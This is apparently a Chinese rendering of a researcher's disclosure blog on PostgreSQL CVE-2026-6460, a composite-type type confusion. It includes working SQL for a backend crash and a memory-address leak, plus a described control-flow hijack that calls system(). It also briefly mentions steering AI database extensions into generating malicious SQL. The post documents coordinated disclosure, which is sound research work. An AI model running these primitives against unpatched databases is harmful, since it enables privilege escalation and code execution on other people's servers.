研究者揭露 PostgreSQL CVE-2026-6460 型別混淆漏洞可導致 RCE
Turning a 22-year-old Postgres type-confusion primitive into RCE
Mehmet Ince 說明他如何利用 PostgreSQL 複合型別欄位變更造成型別混淆,讓低許可權角色觸發記憶體錯誤,並進一步構造可導向 RCE 的利用鏈。
AI 伴隨問答
針對這篇報導有疑問?可直接點選快捷問題或向 AI 追問背景脈絡與技術細節:
文章從複合型別變更切入,拆解 PostgreSQL 型別混淆如何串連記憶體位址洩漏與控制流程劫持,並交代通報協調過程。
如果你在 2026 年 4 月告訴我,有人只要問一句「Mehmet,我們可以在這個專案中使用代管 PostgreSQL 嗎?」就會讓我掉進人生中最深的兔子洞,我一定會笑出來。
幾個月後,我終於找到了那個兔子洞的底部。那是一個存在於 PostgreSQL 核心中、已經 22 年的零時差漏洞。
這篇部落格文章將講述我如何意外發現 PostgreSQL 中一種新型態的型別混淆漏洞。
這是名為「代管 PostgreSQL 產業的系統性風險」系列部落格文章的第 3 篇。如果你錯過了前兩篇,可以從第 1 篇和第 2 篇開始閱讀,這兩篇能提供完整的背景,讓你瞭解這場瘋狂歷程。
懶人包:
我將一個值放進 PostgreSQL 的複合型別中,接著變更其中一個欄位的型別,再要求它讀回這個值。這種型別混淆導致了我見過最可靠的記憶體損毀漏洞利用之一。不過,我一開始並不是在尋找 PostgreSQL 核心漏洞。
我當時在利用 pg_clickhouse,而讓漏洞利用成功的過程,讓我開始思考 PostgreSQL 如何理解自己的資料。在 AI 代理的指導下,我一次提出一個問題,逐步理解 PostgreSQL 內部機制。接著,一場看似毫不相關的對話給了我靈感,讓所有線索串在一起;最終,我發現自己盯著一個早已存在一段時間的原語。
這是真實發生的完整故事,我相信你會喜歡。
2026 年 8 月初
在 6 月和 7 月期間,我一直在利用數個 PostgreSQL 擴充套件中的記憶體損毀漏洞。我成功在其中一個擴充套件中取得程式碼執行許可權,那個擴充套件是 pg_clickhouse。那段案例研究有自己的故事,我之後會分享。
這裡重要的是,那次漏洞利用迫使我學會了什麼。pg_clickhouse 會將 ClickHouse 值轉換成原生 PostgreSQL 值。ClickHouse 的 Array 並不是 PostgreSQL 陣列,對吧?因此,這個擴充套件必須將其元素重新建構成 PostgreSQL 預期格式的 Datum 值。轉換過程中的一個錯誤,最終讓我得以執行程式碼。
這是我第一次在 PostgreSQL 的世界裡接觸到 Datum、OIDs 等東西。我只學到足以完成漏洞利用的程度,但心裡始終有個疑問:
PostgreSQL 本身如何判斷一個值是什麼?又如何處理並表示它?
大約在 7 月底,我終於不再鑽研擴充套件,開始順著這個問題探索 PostgreSQL 核心。
宣告:我已向廠商回報 pg_clickhouse 的越界寫入加讀取漏洞鏈,廠商已於 6 月 23 日修復。
PostgreSQL 型別入門
我從一個非常簡單的查詢開始學起。執行最簡單的查詢 SELECT 1337 時,會發生什麼事?
我先避開 Postgres 內部機制中的所有黑魔法,專注於資料型別的基礎知識,開始這堂速成課程。
我先從這個查詢開始。
SET debug_print_parse = on;
SELECT 1337;資料庫掃描器會檢查查詢,辨識出 SELECT 是關鍵字,而 1337 是整數詞元。接著,它會為查詢建立剖析樹。然後,PostgreSQL 會走訪這棵樹,並將它轉換成具型別的查詢樹。
{QUERY
:commandType 1
:targetList (
{TARGETENTRY
:expr
{CONST
:consttype 23
:consttypmod -1
:constlen 4
:constbyval true
:constisnull false
:location 7
:constvalue 4 [ 57 5 0 0 0 0 0 0 ]
}
}
)
}剖析樹如上所示。但我只是想更清楚瞭解 consttype 23 是什麼?為什麼 constvalue 有 [ 57 5 0 0 0 0 0 0 ]? 而我的 1337 值在哪裡?這時,我請 Opus 5 為我準備一套完整深入的 PostgreSQL 型別課程。 花了幾天時間研讀相關內容,並和我命名為 pg_expert 的代理討論後,我學到了以下幾點:
consttype = 23 → int4
constlen = 4 → four-byte payload
constbyval = true → stored by value
constisnull = false → this is not NULLconstvalue 4 [ 57 5 0 0 0 0 0 0 ] 可以轉換成十六進位,讓這個值更容易辨認:
57 decimal = 0x39
5 decimal = 0x05在我的小端序系統上,位元組以最低有效位元組在前的順序儲存:
39 05 00 00 → 0x00000539 → 1337所以 1337 並沒有消失。 但我們為什麼會有 8 bytes [ 57 5 0 0 0 0 0 0 ],而不是隻有 4 個位元組?
那是因為 constvalue 並未宣告為 int32。它宣告為 Datum,也就是 8 bytes 我們的值 1337::int4 儲存在這個通用載體較低的四個位元組中。
同一個 8 位元組的 Datum 如何表示 text、array 或自訂型別?
Datum 不知道自己是什麼
和我的 pg_expert 代理程式聊天,讓我學到更多。Datum 並不知道自己代表什麼。
承載 1337 的八個位元組裡,沒有隱藏標籤寫著「我是整數」。PostgreSQL 只透過這個 consttype = 23 知道它的型別。
這個數字是 OID(物件識別碼),指向 pg_type 系統目錄中的一筆資料列
SELECT
oid,
typname,
typlen,
typbyval,
typalign,
typinput::regproc,
typoutput::regproc
FROM pg_type
WHERE oid = 23;
oid | typname | typlen | typbyval | typalign | typinput | typoutput
-----+---------+--------+----------+----------+----------+-----------
23 | int4 | 4 | t | i | int4in | int4out這表示 pg_type 資料列會顯示這個值代表什麼,以及 PostgreSQL 會如何使用它。到目前為止,這套設計很精妙,也很容易理解。但 text 型別又是怎麼回事?
SELECT
oid,
typname,
typlen,
typbyval,
typinput::regproc,
typoutput::regproc
FROM pg_type
WHERE oid IN ('int4'::regtype, 'text'::regtype) // <== HERE FILTERIN THE INT4 and TEXT only
ORDER BY oid;
typname | typlen | typbyval | typinput | typoutput
---------+--------+----------+----------+-----------
int4 | 4 | true | int4in | int4out
text | -1 | false | textin | textout對文字而言,typlen = -1 表示其表示方式具有可變長度。而 typbyval = false 表示 Datum 承載的是指標。
Datum ──> pointer ──> variable-length text representation因此,同一個 8-byte 值會儲存文字的記憶體位址。Datum 可以直接傳遞值本身,也可以透過參照來傳遞值。真不錯,我很喜歡 Datum 提供的優雅抽象!
unknown 是一種型別!
到目前為止,一切都說得通,但我還想更瞭解 typinput 和 typoutput 欄位。這些函式會將查詢提供的值轉換成原生 Datum,或反向轉換。於是我又執行了一次。
SELECT 1337, pg_typeof(1337), pg_column_size(1337);
?column? | pg_typeof | pg_column_size
----------+-----------+----------------
1337 | integer | 4但接著我加上引號,想看看 PostgreSQL 是否有動態型別轉換/辨識之類的機制:
SELECT pg_typeof('1337');
pg_typeof
-----------
unknown當下我有點困惑。一開始我以為 unknown 的意思是「PostgreSQL 不知道型別」。於是我又去問一直教我這些內容的 pg_expert 代理程式。我得知 unknown 是 PostgreSQL 中一種實際存在的型別,具有 OID 705,用來表示最終型別尚未決定的字串常值!
這麼一來就完全說得通了,因為 PostgreSQL 會刻意將未指定型別的字串常值暫時指定為這種型別,因為同一段文字最終可能會變成許多不同的東西!
SELECT '1337'::int4;例如,查詢指定了目標型別 int4。PostgreSQL 查詢了 typinput 函式來處理 int4 ,並呼叫 int4in();需要列印時,則使用 int4out()
批判性思考:等等!型別會選擇程式碼
在此之前,對我來說 typinput 和 typoutput 看起來只是一般的轉換機制。pg_type 包含許多針對不同型別的原生函式。
進一步瞭解這些函式時,有個細節一直讓我印象深刻。輸出函式並不會檢查 Datum 並判斷它的型別。它只是直接相信 Datum 周圍的所有值和旗標。
int4out() 會擷取整數,是因為 PostgreSQL 已經將它選為 int4 的輸出函式。不同的輸出函式可以依照完全不同的規則,解讀同一個通用載體。
我還記得,就在那一刻,我其實想到了這些年來一直在利用或修補的網頁應用程式中的 TOCTOU 漏洞 型別。
「如果我能以某種方式,在 PostgreSQL 建立值的那一刻和使用該值的那一刻之間變更型別,會怎麼樣?」
如果我能做到這一點,我們或許就能迫使 PostgreSQL 把為完全不同型別建立的 Datum,當成函式預期的型別來處理。在 PostgreSQL 中造成型別混淆,實際上能讓我有機會濫用 PostgreSQL 內部的其他所有函式。
於是我回頭深入瞭解,如何讓 PostgreSQL 原生呼叫不同型別的輸出函式來處理我的 int4 值。結果發現,LANGUAGE internal 功能可以達成這個目的。
LANGUAGE internal:我刻意製造的型別混淆
LANGUAGE internal 允許 superuser 建立 SQL 函式,指向已編譯進 PostgreSQL 的原生程式碼。我建立了以下函式。
CREATE FUNCTION pg_temp.confused_textout(integer)
RETURNS cstring
AS 'textout'
LANGUAGE internal
STRICT;接著我把同一個 int4 值傳給它。結果我的本機後端程式當掉了!
SELECT pg_temp.confused_textout(1337);
server closed the connection unexpectedly
This probably means the server terminated abnormally before or while processing the request.我很確定,讀到這裡的 PostgreSQL 專家不會對這次當機感到意外,但我當時非常震驚!
這讓我轉向完全不同的方向。我利用這項型別混淆功能,成功打造出一個可運作的漏洞利用程式,藉此攻擊受管理 PostgreSQL 服務供應商部署的安全性擴充套件中的 LANGUAGE internal。這項研究最後成為第二部分故事的一部分。
有一段時間,我轉而處理其他事情,把這個型別混淆問題擱在一旁。
大約兩週後,一件完全無關的事又讓我回頭思考這個問題。
岔題:番茄與 SQL 注入
讓我稍微岔題一下。這一系列 Postgres 文章說到底都是在講我的故事,不是嗎?
我不記得確切日期,但有一次我和伴侶 Bilge(EDB 資深機器學習工程師)在跑步或散步時,聊到 PostgreSQL AI 擴充套件中的二階段 SQL 注入,以及是否可能誘使這些擴充套件的 AI 功能產生幻覺並生成惡意 SQL 查詢。
那次對話讓我們聊到了 prepared statements。
我大約在 2005 年第一次認識 SQL 注入,天知道此後我利用它做過多少次攻擊。
二十年後,大多數程式庫和框架仍高度仰賴字串跳脫來產生安全的 SQL 查詢,儘管 RDBMS 有一項很棒的功能,名為預備陳述式。
我還是大學生時就研究過預備陳述式,主要是想看看即使目標應用程式使用了預備陳述式,還有哪些攻擊方式仍然可行。像是觸發過量的 SQL 冷解析之類的。
不過更重要的是,多年來我用這個概念向數千名學員講授 SQL 注入:
「知識是知道番茄是一種水果;智慧是不把番茄放進水果沙拉。」
– Miles Kington
在我的比喻中,SQL 查詢是食譜,值則是食材。預備陳述式讓資料庫先理解食譜,再分開接收食材。因此,即使像 ' OR 1=1 -- 這樣的值看起來很邪惡,它仍然只是資料,沒有機會改寫查詢。
我一直把這種分離視為一項安全功能。但這次和 Bilge 聊到一半時,我注意到一件事:資料庫可以先完成所有解析,然後等我執行。在執行之前,我可以執行任何想執行的查詢。
我可以在執行查詢前變更型別!
揭露 PostgreSQL 沿用 22 年的型別混淆原始漏洞
所以想法很簡單:我可以先準備一個查詢,變更某些內容,再稍後執行。但要變更什麼?PostgreSQL 不會讓我重新定義內建型別 int4、text 或 UUID 的含義。
我當時並沒有想到複合型別。老實說,我幾乎不知道那是什麼。我問 Claude agent pg_expert 一個簡單得多的問題:
我可以建立哪些 PostgreSQL 型別,在準備好的查詢中使用,接著在執行 execute 前修改它?
這個問題讓我接觸到複合型別。在 PostgreSQL 中,複合型別代表一個資料列的結構。本質上,它是自訂的使用者定義資料型別,用來容納多個欄位,而每個欄位都有自己的名稱和資料型別。 [1, 2]
CREATE TYPE pg_temp.poc AS (
key uuid
);它有自己的型別 OID,但其屬性定義了目前的資料列配置。我可以把某個型別屬性的型別從 UUID 改成另一種型別,而不必取代複合型別本身。
當機
我建立了一個只有一個欄位的複合型別,該屬性一開始是 UUID。接著,我準備好一個查詢,把該屬性改成 bytea,然後執行已準備好的陳述式。
CREATE TYPE pg_temp.poc AS (key uuid);
PREPARE pc_crash AS
SELECT '(01020000-0000-0000-0000-000000000000)'
::pg_temp.poc;
ALTER TYPE pg_temp.poc
ALTER ATTRIBUTE key TYPE bytea CASCADE;
EXECUTE pc_crash;結果竟然是 segfault!
client backend was terminated by signal 11: Segmentation fault
DETAIL: Failed process was running: EXECUTE pc_crash;我知道自己找到了想要的那種型別混淆漏洞!
我知道這已經不是我先前利用過的、只有超級使用者才能觸發的 LANGUAGE 內部行為。
我知道自己可以在任何 PostgreSQL 執行個體上,以許可權最低的登入角色觸發這次當機。可能所有相容於 Postgres 的服務也都會受影響(稍後會再談)
最後但同樣重要的是,我早已知道,受我控制的 UUID 位元組若傳入錯誤的原生程式碼處理器,bytea 就是我的案例,便具有嚴重的漏洞利用潛力。在我看過的 PostgreSQL 漏洞利用案例中,這兩者提供了最可靠的漏洞利用原語。
在深入研究 PostgreSQL 內部機制之前,我們先了解一些 PostgreSQL 的基本知識,才能更清楚地理解文章接下來的內容!
快速課程:什麼是 BYTEA?
bytea 是 PostgreSQL 用來儲存任意二進位資料的資料型別。它在內部使用一種稱為 varlena 的可變長度表示法。PostgreSQL 會在位元組前加上一個小型標頭,用來描述資料大小和儲存格式。
Basic concepts of bytea
+----------------------+------------------------+
| 4-byte header | binary payload |
+----------------------+------------------------+標頭會告訴 PostgreSQL 目前使用的是哪種表示法,以及整個值的大小。
我們不需要了解每一種 varlena 表示法。本文接下來只需要知道兩件事
Inline representation → the leading bytes can control the claimed length
External expanded representation → the leading bytes can introduce an internal object pointer例如,五個 ASCII 字元 hello 的一般內嵌表示法。這個 24 可以解碼為 0x24 >> 2,也就是 9。因此,4 位元組標頭 + 5 位元組承載資料 = 9 位元組!
+----------------------+------------------+
| 24 00 00 00 | 68 65 6c 6c 6f |
| 4-byte header | "hello" |
+----------------------+------------------+最重要的例子是外部表示法:當標頭以 01 開頭時,PostgreSQL 會認為這個值並未直接儲存於資料列中,而是把這些位元組視為記憶體中某個擴充物件的參照。
+------------------+---------------------+----------------------------------+
| 01 | 02 | 88 77 66 55 44 33 22 11 |
| external marker | expanded-object tag | ExpandedObjectHeader * pointer |
+------------------+---------------------+----------------------------------+因此,標頭後面的資料只是物件參照指標,而非資料本身。
當機與根本原因分析
回到剛才的內容。
我提供的 UUID 剛好包含十六個位元組,開頭是 01 和 02。當屬性仍是 UUID 時,01 02 和後面的十四個零位元組並沒有任何特殊含義。它們只是我能控制的 UUID 資料。
ALTER TYPE 把屬性 key 的目前定義從 uuid 改成 bytea,但並沒有轉換或重寫已儲存在已準備查詢中的二進位值。在 EXECUTE 期間,PostgreSQL 中的位元組完全沒有改變。
執行這個查詢時,PostgreSQL 必須回傳我們的型別 pg_temp.poc 的值。為此,它會呼叫複合型別輸出函式 record_out()。
因此,record_out() 檢視 pg_temp.poc 的屬性 key,並判定「那是 bytea」,接著選用 byteaout()
但 byteaout() 取得的是我們舊的 UUID 位元組,而這些位元組可以由我們控制。型別混淆就是在這裡發生的!
這些代表我們可以完全控制標頭和後續 12 個位元組,直接建立任何想要的 varlena 表示法!
PostgreSQL 認為它需要存取 ExpandedObjectHeader,但它的位址是 00000000,因為我們在 UUID 中寫入的就是這個值,因此本機後端發生當機。
在 byteaout() 能列印這個值之前,它必須先將這種外部表示法轉換成可列印的形式。我發現 PostgreSQL 將這個流程稱為 detoasting。
執行 EXECUTE pc_crash 時,呼叫路徑如下。相關路徑如下所示
EXECUTE pc_crash
├─ record_out() a: bytea
├─ byteaout() fetch + detoast
├─ detoast_external_attr() 01 02 → expanded
├─ DatumGetEOHP() eohptr = NULL
├─ EOH_get_flat_size(NULL)
└─ NULL->eoh_methods SIGSEGV接著 PostgreSQL 將 NULL 指標傳給 EOH_get_flat_size()。該函式中重要的一行實際上是:
return eohptr->eoh_methods->get_flat_size(eohptr);eohptr 是我們能控制的部分,而我們在 POC 中選擇 00000000,也就是 NULL。因此,PostgreSQL 在嘗試讀取它的 eoh_methods 指標時發生當機,因為它以為收到的是有效的外部 expanded object,於是遵循一般程式碼路徑來處理它。
利用方式:將 NULL 替換成我們的偽造物件,讓 PostgreSQL 呼叫我們自行選擇的方法!
透過偽造 ExpandedObjects 劫持控制流程,利用原生函式指標
ExpandedObjectMethods 包含兩個原生函式指標
typedef struct ExpandedObjectMethods
{
EOM_get_flat_size_method get_flat_size;
EOM_flatten_into_method flatten_into;
} ExpandedObjectMethods;一般程式碼會在需要時使用這些方法,將 expanded object 轉換成扁平表示法。
EOH_get_flat_size(ExpandedObjectHeader *eohptr)
{
return eohptr->eoh_methods->get_flat_size(eohptr);
}
EOH_flatten_into(ExpandedObjectHeader *eohptr,
void *result, Size allocated_size)
{
eohptr->eoh_methods->flatten_into(eohptr, result, allocated_size);
}這通常不是由攻擊者控制的回呼介面。這些都是 PostgreSQL 建立的可信任內部表示法。輸出函式可以假設指標、標頭和方法表都沒有惡意內容。
這些是間接原生函式呼叫。PostgreSQL 會從物件的方法表取得函式位址,然後呼叫這些函式。這正是我們可以用來改變控制流程的地方。
在繼續之前,我需要先建立一個簡單的物件模型。我根據兩個偽造物件所代表的內容為它們命名
H = fake ExpandedObjectHeader
M = fake ExpandedObjectMethods table因此,我們的計畫是讓 UUID 指向 H、H 指向 M,並讓 M 包含我們想呼叫的原生函式位址。
呼叫 system($payload)
重要的是,PostgreSQL 使用了兩次 H。讓我們回想一下實際的 C 程式碼
eohptr->eoh_methods->get_flat_size(eohptr)
│ │ │ │
│ │ │ └── argument = H
│ │ └───────────── function = system@plt
│ └──────────────────────────── methods table = M
└─────────────────────────────────────── object = H首先,它將 H 視為 ExpandedObjectHeader,並讀取位於偏移量 +0x08 的 eoh_methods 指標。
該指標指向 M,我們在其中放入了 system() 的位址。接著 PostgreSQL 呼叫選定的方法,並將原始物件指標 H 作為第一個引數傳入。
換句話說,H 協助 PostgreSQL 找到 system(),然後同一個 H 又被當成引數傳給 system()。
幸運的是,H 的前八個位元組位於 eoh_methods 指標之前。我可以在這些位元組中放入以 NULL 結尾的命令 id>x,同時將 M 的位址保留在偏移量 +0x08。
使用相同的原語洩漏記憶體位址並突破 ASLR
正如我在第 1 部分深入討論的,在代管 PostgreSQL 的服務供應商環境中利用擴充功能漏洞時,由於強化措施,我們無法讀取 /proc/self/mem。我們的利用計畫非常明確,但挑戰在於必須洩漏這些物件的位址。
我開始詢問我的 pg_expert,尋找能回傳指標值資料的 PostgreSQL 操作,而 SQL 預期收到的卻是一般整數。我一提示這個代理程式,它就開始
「喔,其實我們在 7 月的 pg_clickhouse 漏洞利用事件期間談過這件事。你還記得 ClickHouse Array 不是 PostgreSQL Array 嗎?」
– my beloved teacher pg_expert agent
這是命運的轉折。我最後來到的地方,正是最初構想的起點。
PostgreSQL Arrays 會將元素型別儲存在自己的二進位表示中。unnest() 在決定如何擷取各個元素時,會信任這個內部型別。
一般來說,一切都一致:
SELECT x
FROM unnest(ARRAY['hello']::text[]) AS item(x);array 表示其元素是 text,因此 unnest() 會傳回指向文字的 Datum 指標,SQL 也會將它當成文書處理。
但如果陣列內部標示為 text,而外層 SQL 合約卻標示為 bigint 呢?
由於 text 是以參照方式傳遞,unnest() 會傳回一個 Datum,其中包含文字值的記憶體位址!但外層 SQL 運算式預期的是以值傳遞的 bigint,因此 PostgreSQL 會把相同的指標位元印成整數。
換句話說,我們可以利用完全相同的型別混淆漏洞,將陣列的文字元素型別改成 bigint,讓 unnest() 傳回記憶體位址,而不是值!也就是洩漏記憶體位址!
使用 UUID 建立 PostgreSQL Array 資料結構
最小的 PostgreSQL Array 需要 48 個位元組。單一 UUID 可提供 16 個可控制的位元組。因此只要將 3 個 UUID 接在一起,就能建立恰好 48 個位元組、完全可控制的資料結構!
上方動畫展示了三個 UUID 如何組成一個 48 位元組的陣列載體。這三個屬性仍是 UUID 時,我會先準備好這些位元組。接著,我只針對第一個 UUID a 到 bigint[],利用相同的型別混淆漏洞!
因此,unnest() 會將元素擷取為 text 並傳回其指標,而 SQL 預期的是 bigint,於是便會將該指標公開為記憶體位址。最後的 +4 會略過文字標頭,指向我控制的承載資料。
CREATE TYPE pg_temp.address_carrier AS (
a uuid,
b uuid,
c uuid
);
CREATE FUNCTION pg_temp.leak_address(
r pg_temp.address_carrier
)
RETURNS bigint
LANGUAGE plpgsql
AS $$
DECLARE
pointer bigint;
BEGIN
SELECT x INTO pointer
FROM unnest(r.a) AS item(x)
LIMIT 1;
RETURN pointer + 4;
END
$$;
PREPARE address_leak AS
SELECT to_hex(pg_temp.leak_address(
'(c0000000-0100-0000-0000-000019000000,01000000-0100-0000-5000-000011223344,55667788-99aa-bbcc-ddee-ff0000000000)'::pg_temp.address_carrier
));
ALTER TYPE pg_temp.address_carrier
ALTER ATTRIBUTE a TYPE bigint[] CASCADE;
EXECUTE address_leak;
to_hex
--------------
55f2a589ae0c
(1 row)直接將 text 混淆為 bigint,只會把舊有文字位元組重新解讀為整數。陣列之所以重要,是因為它先迫使 PostgreSQL 產生真正的指標,再將相同的指標位元公開為 bigint。
概念驗證影片
CVE-2026-6460 統合修補程式及另外 21 個案例的變體分析
到達這個階段後,我開始思考在執行前變更屬性型別的各種情境,以及其他所有能讓舊值繼續存在的方法。
我在 RowExpr、JSON 轉換快取以及其他不同位置,發現了相同的根本錯誤。
我總共回報了 21 個案例。
2026 年 11 月 9 日,PostgreSQL 安全性提交併入了一個規模大得多的版本,其中包含 52 個新 CVE。
這 52 個 CVE 中,有 6 個與本文直接相關。
- CVE-2026-6460 是主要的型別混淆統合修補程式。它匯入了複合屬性版本控管,
- CVE-2026-120142 匿名 RECORD 描述元。
- CVE-2026-120148 後端區域的匿名 RECORD typmod
- CVE-2026-116329 統計資料匯入可能會以過時的型別發布值
- CVE-2026-116306 防止 ExecEvalFieldStore[De]Form 使用不相符的
- CVE-2026-120139 Tuple 大小計算中的整數溢位
與受管理 PostgreSQL 供應商協調
5 個月前,我會陷入這個兔子洞,是因為在做決定前,我需要更深入瞭解託管資料庫產業如何運作。畢竟說到底,基礎架構可以外包,但風險無法外包。
當漏洞出在 PostgreSQL 核心時,整個產業會如何協調,保護自己的客戶?
因此,我把自己在本機成功運作的漏洞利用程式移植到幾乎所有我知道的託管 PostgreSQL 平臺,並私下向它們的資安團隊分享可重現的 PoC。
我還沒看到任何一家廠商不受這個漏洞影響!包括提供 PostgreSQL 相容服務的廠商。
Databricks 資安團隊的工程師立即驗證了所有漏洞利用方式。感謝 Aaron 和他的團隊。
Google 將 AlloyDB 的通報提升至最高優先順序 P0。從第一天起,Google Cloud VRP 團隊給予的所有支援都讓我由衷感激!
SupaBase 團隊在 8 月中旬左右收到完整細節。感謝我第一次聯絡 Etienne 以來,他一直給予我無盡的支援。
我的第一篇文章發布後,Ubicloud 的成員主動聯絡我,接著他們介紹我認識 ClickHouse 團隊。雙方也都在 8 月底左右收到通報。
AWS Aurora/RDS 和 Microsoft Azure PostgreSQL 團隊在 8 月中旬收到通報和可運作的 PoC。
但我最敬重的是,有些廠商派出資深工程師,著手自行實作緩解措施。他們不願讓客戶在等待上游發布修正的期間暴露於風險中。
所以,沒錯,我整個 8 月都在忙這些事。
結語:感謝 PostgreSQL 社群與核心資安團隊
我花了 20 年參與世界各地的資安社群。但我真的得說,今年在 PGCONF.eu 感受到的支援、正向態度和尊重,讓我相當驚訝。我完全沒想到歐洲的 PostgreSQL 社群竟然這麼有家人般的氛圍。
上個月在瓦倫西亞的 PGCONF.eu,我發表了「沒有人能當超級使用者(直到我闖了進去)」這場演講。之後我獲得大家熱情的支援,尤其是社群中那些備受敬重的成員;只要有人寄信到 securit@ 信箱,他們就會毫不遲疑地修補這些漏洞。
我今天能走到這一步,很大程度上要歸功於開放原始碼。我一生都在透過駭入各種系統來學習、瞭解它們如何運作,並讓它們更安全。能以自己的方式為 PostgreSQL 及其生態系做出貢獻,對我意義重大。看到這些貢獻受到如此熱情的歡迎,更令我感動。
應我的要求,今年的演講沒有錄影,但我收到許多來自不同國家的邀請,前往當地的 PostgreSQL 聚會演講。
如果你想聽完整故事,我將於 11 月 30 日星期一,在布拉格 PostgreSQL 聚會發表 90 分鐘版本。
歡迎來參加。我保證絕對值得!
https://cloomba.com/e/prague-postgresql-meetup-8-2026-11-30
(如果你看到這裡,我很想聽聽你的想法!歡迎留言或問我任何問題。)
附錄:追溯 Primitive 與 Duplicate Fiesta 的起源
可變資料列型別 primitive 可追溯至提交 077db40fa1f3,於 2004 年 5 月 5 日隨著 ALTER TABLE ... ALTER COLUMN ... TYPE 引入。
我使用的漏洞利用技術仰賴提交 1dc5ebc9077a。該提交於 2015 年 5 月 14 日引入,新增了 expanded-object 指標及其原生方法回呼。這項技術是在我利用 20 多種變體時發現的許多其他利用原語之後才出現。
我並未聲稱 CVE-2026-6460 是「我個人的漏洞」。PostgreSQL 將其視為一項涵蓋範圍更廣的複合型別問題的總括議題。提交記錄列出許多研究人員,他們的通報可能涉及相互重疊的發現、不同的變體,或是各自循著完全不同的途徑找到了同一項系統性弱點。
這就是 AI 時代漏洞研究的現況。本文只講述我在 2026 年 8 月、尚未使用任何具備網路能力的模型時,如何找到這項漏洞。
PostgreSQL 對通報者的記錄如下:
Reported-by: Heikki Linnakangas <heikki.linnakangas@iki.fi>
Reported-by: Andres Freund <andres@anarazel.de>
Reported-by: Andrew Gierth <andrew@tao11.riddles.org.uk>
Reported-by: Alexander Lakhin <exclusion@gmail.com>
Reported-by: Francesco Verardi <frevadiscor89@gmail.com>
Reported-by: Hcamael <baiyjrh@gmail.com>
Reported-by: Tomer Fichman <tomer@irregular.com>
Reported-by: OpenAI Security Research Team
Reported-by: Peter Geoghegan <pg@bowt.ie>
Reported-by: Mehmet Ince @mdisec <mehmet@mehmetince.net>
Reported-by: Bryan Green <dbryan.green@gmail.com>
Reported-by: Sumedh Pathak <sumedhpathak@microsoft.com>
Reported-by: Nicholas Carlini <npc@anthropic.com>
Reported-by: Sergey Shinderuk <s.shinderuk@postgrespro.ru>
Reported-by: Yuxiao Guo <dllggyx@outlook.com>
Reported-by: Nikhil Sontakke <nikhil@planetscale.com>
Reported-by: Stephan Lipp <Stephan@Adalogics.com>
Reported-by: Daniel Bakker <daniel@jackds.nl>